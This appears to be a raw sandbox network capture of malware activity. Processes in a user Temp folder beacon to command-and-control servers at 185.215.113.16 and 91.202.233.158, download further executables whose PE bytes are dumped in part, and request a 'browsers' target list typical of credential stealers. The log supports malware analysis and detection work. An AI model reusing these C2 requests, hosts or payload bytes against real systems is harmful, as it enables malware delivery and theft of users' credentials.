Sep 27, 2024 16:18:31.870662928 CEST	1236	IN	Data Raw: 45 20 c1 0f b6 c1 01 c6 8d 1c 34 83 c3 64 8d 86 00 fe ff ff f7 d8 89 44 24 24 81 fe 00 02 00 00 75 12 c6 43 ff 30 4b c7 44 24 24 01 00 00 00 b8 01 00 00 00 83 7c 24 14 00 7f 08 c7 44 24 14 00 00 00 00 c7 44 24 0c 00 00 00 00 89 c1 81 e1 00 00 00 Data Ascii: E 4dD$$uC0KD$$\|$D$D$5HD$T$D$(L$L$$L$@\|#9)L$D$\$L$9~IL$\$D$rD$\$$\|$
Sep 27, 2024 16:18:31.870672941 CEST	1236	IN	Data Raw: 77 42 dd e2 df e0 9e 76 0b d9 ca dd e1 df e0 9e d9 ca 77 30 dc fa 8d 8b 00 00 00 03 81 fb ff ff ff 00 77 20 dd e2 df e0 9e 0f 86 18 14 00 00 d9 ca dd e1 dd d9 df e0 9e d9 ee d9 c9 d9 ca 0f 86 03 14 00 00 dd d8 dd d8 89 cb b9 06 00 00 00 8b 44 24 Data Ascii: wBvw0w D$t\$D$XD$D$\|$L$$L$L$0T$<t5)D$8D$D-x u+tD$DD$EL$@p\$uD$\$7D
Sep 27, 2024 16:18:31.870683908 CEST	1236	IN	Data Raw: 8b 54 24 08 29 f2 83 e2 fc 8b 44 24 14 01 d0 01 d8 83 c0 04 89 ce 29 d6 89 f2 29 da 83 c2 fc eb 2f c7 44 24 0c 00 00 00 00 e9 4d 01 00 00 8b 5c 24 1c 85 c0 0f 85 39 02 00 00 e9 fc fe ff ff 89 c1 89 c3 e9 df 02 00 00 89 c6 8b 44 24 20 89 f2 85 d2 Data Ascii: T$)D$))/D$M\$9D$ \$t-Rj0PD$,T$L$T$ T$9t$$;L$~t$+t$t$$t$T$T$9\|L$t71\$ST$0F9uL$
Sep 27, 2024 16:18:31.870693922 CEST	1236	IN	Data Raw: 89 ce e8 a8 9e 00 00 8b 54 24 14 83 c4 0c 01 f7 89 de 8b 5c 24 1c 83 7d 08 00 0f 84 0f ff ff ff 89 f8 29 f0 3d ff 01 00 00 0f 8c 00 ff ff ff 01 44 24 4c 50 ff 75 0c 56 ff 55 08 83 c4 0c 85 c0 0f 84 8b 0a 00 00 89 c7 89 c6 8b 54 24 08 e9 dc fe ff Data Ascii: T$\$})=D$LPuVUT$L$4D$DL$EL$D$D )9\|}u(D$Dt$,1t$NL$B9u)t$,\$rPL$
Sep 27, 2024 16:18:31.870704889 CEST	1236	IN	Data Raw: 89 f8 29 f0 3d ff 01 00 00 0f 8c 10 ff ff ff 01 44 24 4c 50 ff 75 0c 56 ff 55 08 83 c4 0c 85 c0 0f 85 f5 fe ff ff e9 d2 05 00 00 89 c1 83 f8 04 0f 83 75 ff ff ff eb be 89 74 24 2c 8b 74 24 24 85 f6 0f 85 67 02 00 00 8b 4c 24 0c 85 c9 8b 74 24 2c Data Ascii: )=D$LPuVUut$,t$$gL$t$,OD$9D$D$8}t)9\|(L$8t$,1t$^\$B9u)t$,\$rRD$P
Sep 27, 2024 16:18:31.875468016 CEST	1236	IN	Data Raw: e3 03 8d 70 ff 39 f3 72 02 89 f3 8d 43 01 50 6a 20 57 e8 f0 94 00 00 83 c4 0c 01 df 47 29 de 8b 5c 24 1c 83 fe 04 7d 16 eb 48 90 90 90 90 90 90 90 90 90 90 90 90 90 89 de 83 fe 04 7c 34 89 f0 83 fe 07 7c 05 b8 07 00 00 00 f7 d8 8d 1c 06 83 c3 03 Data Ascii: p9rCPj WG)\$}H\|4\|CPj W)\$tVj Wt$,D$P}%!!)JD$LPuVUtYD$ED$D$P@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49626	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:33.298134089 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000314001&unit=246122658369
Sep 27, 2024 16:18:34.139066935 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Sep 27, 2024 16:18:34.141442060 CEST	58	OUT	GET /inc/newbundle2.exe HTTP/1.1 Host: 185.215.113.16
Sep 27, 2024 16:18:34.360295057 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:34 GMT Content-Type: application/octet-stream Content-Length: 311296 Last-Modified: Sun, 22 Sep 2024 20:59:29 GMT Connection: keep-alive ETag: "66f08531-4c000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 80 b6 e6 ea 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 ec 02 00 00 d0 01 00 00 00 00 00 d6 b9 02 00 00 20 00 00 00 20 03 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 b9 02 00 4f 00 00 00 00 20 03 00 c4 c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 0c 00 00 00 68 b9 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0 @ @O h H.text `.rsrc @@.reloc@B
Sep 27, 2024 16:18:34.360306978 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 b9 02 00 00 00 00 00 48 00 00 00 02 00 05 00 54 2d 01 00 1c 80 01 00 03 00 00 Data Ascii: HT-Mp01s,~%-&~ls-%(+o/8o0%rprYp~1(2
Sep 27, 2024 16:18:34.360323906 CEST	1236	IN	Data Raw: 0a 7e d7 02 00 04 25 2d 17 26 7e ce 02 00 04 fe 06 74 03 00 06 73 4f 00 00 0a 25 80 d7 02 00 04 28 06 00 00 2b 6f 65 01 00 06 00 11 07 11 06 fe 06 68 03 00 06 73 50 00 00 0a 7e d8 02 00 04 25 2d 17 26 7e ce 02 00 04 fe 06 75 03 00 06 73 51 00 00 Data Ascii: ~%-&~tsO%(+oehsP~%-&~usQ%(+ogisR~%-&~vsS%(+ok(+,dsm%o_%rp(>oa%sUoc%oi%ok%sV
Sep 27, 2024 16:18:34.360333920 CEST	1236	IN	Data Raw: 11 07 11 07 6f 8c 01 00 06 28 4b 00 00 0a 2d 09 11 07 6f 8c 01 00 06 2b 05 72 fd 02 00 70 6f 8d 01 00 06 00 11 07 11 07 6f 8e 01 00 06 28 4b 00 00 0a 2d 09 11 07 6f 8e 01 00 06 2b 05 72 fd 02 00 70 6f 8f 01 00 06 00 11 07 11 07 6f 90 01 00 06 28 Data Ascii: o(K-o+rpoo(K-o+rpoo(K-o+rpoorp(b,ocXo:+*AdzJzR
Sep 27, 2024 16:18:34.360344887 CEST	1236	IN	Data Raw: 04 2b 00 11 04 2a 00 41 4c 00 00 00 00 00 00 75 00 00 00 bc 00 00 00 31 01 00 00 05 00 00 00 13 00 00 01 00 00 00 00 42 00 00 00 26 01 00 00 68 01 00 00 06 00 00 00 1a 00 00 01 00 00 00 00 07 00 00 00 6a 01 00 00 71 01 00 00 06 00 00 00 1a 00 00 Data Ascii: +*ALu1B&hjq0=sW%(`sa(\(],(sr-prp~1(2o&8s%oo^o%
Sep 27, 2024 16:18:34.360356092 CEST	1236	IN	Data Raw: 00 0a 0b 06 17 58 0a 06 18 fe 02 0c 08 2c 05 00 07 0d 2b 15 00 03 07 6f 78 00 00 0a 16 fe 01 13 04 11 04 2d d6 07 0d 2b 00 09 2a 1b 30 03 00 57 01 00 00 0a 00 00 11 00 73 55 00 00 0a 0a 00 73 79 00 00 0a 0b 1f 21 8d b3 00 00 01 25 d0 c5 02 00 04 Data Ascii: X,+ox-+*0WsUsy!%(`%(`ozozo{sarp~1(2(\|(}orrp(~(o%(`"%(`oz
Sep 27, 2024 16:18:34.360368967 CEST	1236	IN	Data Raw: 00 0a 28 32 00 00 0a 28 7c 00 00 0a 6f 72 00 00 0a a2 28 98 01 00 06 6f 33 00 00 0a 13 04 38 c3 00 00 00 12 04 28 34 00 00 0a 13 05 00 11 05 73 35 00 00 0a 28 36 00 00 0a 6f 37 00 00 0a 13 06 11 05 1f 1a 28 8f 00 00 0a 6f 38 00 00 0a 2d 09 11 06 Data Ascii: (2(\|or(o38(4s5(6o7(o8-(+((9,+tsm%o_%sooa%(soi%sUoc%sVoe%sWogol,oX(Y:1
Sep 27, 2024 16:18:34.360411882 CEST	1236	IN	Data Raw: 72 29 04 00 70 7e 31 00 00 0a 28 32 00 00 0a 1c 8d b3 00 00 01 25 d0 8f 02 00 04 28 60 00 00 0a 73 61 00 00 0a 72 33 04 00 70 7e 31 00 00 0a 28 32 00 00 0a 28 3e 00 00 0a 28 5c 00 00 0a 73 90 00 00 0a 0b 07 6f 94 00 00 0a 16 fe 01 0c 08 2c 07 06 Data Ascii: r)p~1(2%(`sar3p~1(2(>(\so,t8R%r;p%r;p%r;p%%(`sar=p~1(29oo8oo8
Sep 27, 2024 16:18:34.360424042 CEST	1236	IN	Data Raw: 13 06 11 06 2c 20 06 11 05 1f 0a 59 1f 41 58 d1 13 07 12 07 28 a2 00 00 0a 28 a3 00 00 0a 28 3e 00 00 0a 0a 2b 13 06 12 05 28 a2 00 00 0a 28 a4 00 00 0a 28 3e 00 00 0a 0a 11 04 1f 09 fe 02 13 08 11 08 2c 20 06 11 04 1f 0a 59 1f 41 58 d1 13 07 12 Data Ascii: , YAX(((>+(((>, YAX(((>+(((>Xo.X]+,rp(>Xo:+&(*0-,+,+,
Sep 27, 2024 16:18:34.360436916 CEST	1236	IN	Data Raw: 02 16 91 1f 18 62 02 17 91 1f 10 62 60 02 18 91 1e 62 60 02 19 91 60 0a 2b 00 06 2a 00 00 00 13 30 04 00 2c 00 00 00 1d 00 00 11 00 02 03 91 1f 18 62 02 03 17 58 25 10 01 91 1f 10 62 60 02 03 17 58 25 10 01 91 1e 62 60 02 03 17 58 25 10 01 91 60 Data Ascii: bb`b``+0,bX%b`X%b`X%`+0((+n bn`+0 (+X(+n bn`+b dm((m()n dm()mX()*zd
Sep 27, 2024 16:18:34.361049891 CEST	1236	IN	Data Raw: 30 03 00 29 00 00 00 20 00 00 11 00 02 19 95 17 5f 16 fe 03 0a 02 28 46 00 00 06 00 06 0b 07 2c 12 00 02 16 8f c8 00 00 01 25 4b 20 00 00 00 e1 61 54 00 2a 00 00 00 13 30 05 00 4e 00 00 00 24 00 00 11 00 02 19 95 0a 02 1e 28 47 00 00 06 00 1d 0b Data Ascii: 0) _(F,%K aT0N$(G+1n_bj_j,%K Y_daTY-05%+(c`X%,b+++*03&+&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49629	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:36.101262093 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000322001&unit=246122658369
Sep 27, 2024 16:18:37.710685015 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Sep 27, 2024 16:18:37.711366892 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Sep 27, 2024 16:18:37.711848974 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Sep 27, 2024 16:18:37.711899996 CEST	56	OUT	GET /inc/rstxdhuj.exe HTTP/1.1 Host: 185.215.113.16
Sep 27, 2024 16:18:37.712126017 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Sep 27, 2024 16:18:37.947905064 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:37 GMT Content-Type: application/octet-stream Content-Length: 986112 Last-Modified: Tue, 24 Sep 2024 18:05:31 GMT Connection: keep-alive ETag: "66f2ff6b-f0c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 27 31 f2 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 02 0f 00 00 08 00 00 00 00 00 00 82 21 0f 00 00 20 00 00 00 40 0f 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0f 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 21 0f 00 57 00 00 00 00 40 0f 00 60 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0f 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL'1f! @@ `(!W@`` H.text `.rsrc`@@@.reloc`@Bd!HPGU"(>(oV&.s0((o3(-j~%(~oj@8(so&o s!o",i-,o#($o%o&o#(((co'o'co'co'o'co'co'co'o(j+)o)nXbXdao*X
Sep 27, 2024 16:18:37.947917938 CEST	224	IN	Data Raw: 11 04 11 09 33 d1 06 06 1c 62 58 0a 06 06 1f 16 64 61 0a 06 06 1f 1e 62 58 0a 06 0c 08 21 8a 76 3a 65 45 59 3b eb 61 0c 7e 01 00 00 04 08 6f 0e 00 00 06 08 13 0a de 08 11 0b 28 2b 00 00 0a dc 11 0a 2a 41 34 00 00 00 00 00 00 4d 00 00 00 0b 00 00 Data Ascii: 3bXdabX!v:eEY;a~o(+A4MX5-P}.(-0Ws,o-,o.+,o/+R(3-*o(o
Sep 27, 2024 16:18:37.947938919 CEST	1236	IN	Data Raw: 2e 02 16 2a 17 2a 00 1e 02 6f 30 00 00 0a 2a 1e 02 28 31 00 00 0a 2a 03 30 05 00 52 00 00 00 00 00 00 00 d0 0b 00 00 02 28 1a 00 00 0a 28 09 00 00 06 d0 09 00 00 02 28 1a 00 00 0a 28 09 00 00 06 d0 06 00 00 02 28 1a 00 00 0a 28 09 00 00 06 d0 08 Data Ascii: .*o0(10R(((((((((((a(>(1j(0((o. ,j(- ,j*- 3D:ffeeffeefef K!ffeeffefe Sfef
Sep 27, 2024 16:18:37.947949886 CEST	1236	IN	Data Raw: 28 17 00 00 06 d0 0d 00 00 02 28 1a 00 00 0a 28 09 00 00 06 28 0b 00 00 06 28 13 00 00 06 28 14 00 00 06 d0 08 00 00 02 28 1a 00 00 0a 28 09 00 00 06 28 14 00 00 06 2a 00 00 00 1e 02 28 31 00 00 0a 2a 2e 73 1c 00 00 06 80 04 00 00 04 2a 1a 7e 1a Data Ascii: ((((((((((1.s~~F~5. S(4Fsz~(&6~(&s1}s2}(1}}6sz(&{v{%-&*o\
Sep 27, 2024 16:18:37.947964907 CEST	1236	IN	Data Raw: 3e 00 00 0a 09 1f 10 63 d1 28 3e 00 00 0a 26 20 4f 4f 53 7f 06 59 07 59 0d 11 06 09 1f 10 63 d1 28 3e 00 00 0a 09 d1 28 3e 00 00 0a 26 20 b7 80 21 54 06 58 07 61 0d 11 06 09 d1 28 3e 00 00 0a 09 1f 10 63 d1 28 3e 00 00 0a 26 11 06 28 3f 00 00 0a Data Ascii: >c(>& OOSYYc(>(>& !TXa(>c(>&(?o@7s:~ 6caX`aYo-(-s,((o--+o.-~ 4`&tXaXa--+-o/3-~ G*a
Sep 27, 2024 16:18:37.947977066 CEST	1236	IN	Data Raw: 62 60 11 19 16 91 1e 62 60 11 19 17 91 1f 18 62 60 02 65 61 fe 0b 00 00 dd 61 fa ff ff 7e 0d 00 00 04 13 2e 20 32 28 31 9c 06 61 07 61 13 18 11 2e 1f 0c 59 13 0d 11 08 13 24 11 08 20 bb d0 ad b0 06 58 07 58 5f 13 08 7e 0c 00 00 04 11 08 6f 41 00 Data Ascii: b`b`b`eaa~. 2(1aa.Y$ XX_~oA~5=,1(+$ D/RYa_:$ L_#aX_6$ `&TXa_@ &"'/ "i&&X"Xa b`bX+V
Sep 27, 2024 16:18:37.947987080 CEST	1236	IN	Data Raw: 0b 01 00 91 0d 09 07 5f 2c 4c 02 03 91 18 63 19 58 13 05 02 03 91 1e 62 02 03 17 58 91 60 20 ff 03 00 00 5f 13 06 03 18 58 fe 0b 01 00 06 11 06 59 0c 08 16 2f 0f 2a 04 06 25 17 58 0a 04 08 25 17 58 0c 91 9c 11 05 17 59 25 13 05 16 32 18 06 11 04 Data Ascii: _,LcXbX` _XY/%X%XY%22+%X%X?}j(1}}{r(?{{b`h(?{{b`{b`{b`sJz
Sep 27, 2024 16:18:37.948707104 CEST	552	IN	Data Raw: 14 2a 00 0a 02 2a 00 2e 20 8d 8f 53 fc 28 34 00 00 06 2a 13 30 04 00 cb 00 00 00 12 00 00 11 02 73 31 00 00 0a 7d 25 00 00 04 02 73 60 00 00 0a 7d 2c 00 00 04 02 73 61 00 00 0a 7d 2d 00 00 04 02 28 31 00 00 0a 02 03 7d 26 00 00 04 02 04 28 9a 00 Data Ascii: *. S(40s1}%s`},sa}-(1}&(}/,sb+sc},(++se}+{+(-"((sfs}'}.o({+(s}'o}.**0
Sep 27, 2024 16:18:37.948784113 CEST	1236	IN	Data Raw: 1e 00 00 01 28 aa 00 00 06 2a 00 3a 02 03 04 8c 2d 00 00 01 28 aa 00 00 06 2a 00 26 02 03 04 28 aa 00 00 06 2a 00 00 56 02 03 6f 70 00 00 0a 04 8c 06 00 00 01 28 aa 00 00 06 26 02 2a 00 00 42 02 03 6f 18 00 00 0a 04 28 aa 00 00 06 26 02 2a 00 00 Data Ascii: (:-(&(Vop(&Bo(&Vo-(&BoU(&0L{%(3 S(45%%({oq,(+*7@6(r(
Sep 27, 2024 16:18:37.948805094 CEST	1236	IN	Data Raw: 0a 6f 71 00 00 0a 07 6f 79 00 00 0a 2d dd de 0a 07 2c 06 07 6f 7a 00 00 0a dc 02 06 7d 32 00 00 04 2a 00 01 10 00 00 02 00 1a 00 27 41 00 0a 00 00 00 00 1e 02 7b 31 00 00 04 2a 1e 02 7b 32 00 00 04 2a f6 02 28 31 00 00 0a 02 03 25 2d 11 26 20 9b Data Ascii: oqoy-,oz}2'A{1{2(1%-& S(4sz}3%-& S(4sz}4{3{46u,(,((oo,(o(** ^((oX )UUZ(
Sep 27, 2024 16:18:37.948816061 CEST	1236	IN	Data Raw: 53 fc 28 34 00 00 06 02 7b a9 00 00 0a 28 ab 00 00 0a 2a 4a 02 28 6e 00 00 06 7d 45 00 00 04 02 28 31 00 00 0a 2a 00 56 73 31 00 00 0a 80 42 00 00 04 73 f6 00 00 06 80 44 00 00 04 2a 00 00 1a 7e 44 00 00 04 2a 00 1a 7e 43 00 00 04 2a 00 1b 30 02 Data Ascii: S(4{(J(n}E(1Vs1BsD~D~C0- S(4 S(4szu<, S(4 S(4sz~B(3~D{E3C~C,~D}EC,(+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49631	91.202.233.158	80	5268	C:\Users\user\AppData\Local\Temp\svchost015.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:38.522488117 CEST	89	OUT	GET / HTTP/1.1 Host: 91.202.233.158 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 16:18:39.225677967 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:39.248672962 CEST	415	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCB Host: 91.202.233.158 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 35 45 30 31 35 42 38 41 39 38 32 33 33 33 33 36 34 31 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="hwid"A95E015B8A982333364192------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="build"default------CBFCBKKFBAEHJKEBKFCB--
Sep 27, 2024 16:18:39.759438038 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 63 34 4e 54 49 32 4d 54 41 31 5a 47 4e 6b 5a 54 67 78 4e 57 4d 30 59 6d 4e 6a 4e 7a 4a 6b 5a 44 51 35 59 32 49 30 5a 6a 49 31 59 6a 55 34 4e 7a 63 7a 59 6a 6c 6a 59 54 52 6b 4d 54 6b 78 5a 6d 49 31 4e 57 45 34 4e 57 52 6b 59 6a 56 6d 59 7a 68 68 4e 32 49 34 5a 57 46 6c 4e 57 56 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDc4NTI2MTA1ZGNkZTgxNWM0YmNjNzJkZDQ5Y2I0ZjI1YjU4NzczYjljYTRkMTkxZmI1NWE4NWRkYjVmYzhhN2I4ZWFlNWVmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 27, 2024 16:18:39.799707890 CEST	469	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHC Host: 91.202.233.158 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="message"browsers------IDHIEBAAKJDHIECAAFHC--
Sep 27, 2024 16:18:40.028353930 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: 